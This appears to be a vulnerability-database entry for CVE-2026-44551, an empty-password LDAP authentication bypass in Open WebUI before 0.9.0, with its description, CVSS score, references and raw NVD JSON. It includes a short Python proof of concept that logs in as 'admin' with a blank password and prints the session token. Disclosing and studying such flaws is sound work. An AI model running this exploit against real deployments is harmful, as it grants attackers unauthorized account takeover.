CVE-2026-44551

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user. This vulnerability is fixed in 0.9.0.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (adjust based on actual deployment)
target_url = "http://target-open-webui/api/v1/auths/ldap"

# Payload: Valid username and empty password
payload = {
    "username": "admin",
    "password": ""
}

try:
    response = requests.post(target_url, json=payload)
    if response.status_code == 200:
        print("[+] Exploit successful! Token received:")
        print(response.json())
    else:
        print("[-] Exploit failed or patched.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44551
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44551
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44551/
[4] VulDB https://vuldb.com/cve/CVE-2026-44551
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-2r4p-jpmg-48f4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44551", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:46.437", "lastModified": "2026-05-15T20:16:46.437", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-2r4p-jpmg-48f4", "source": "[email protected]"}]}}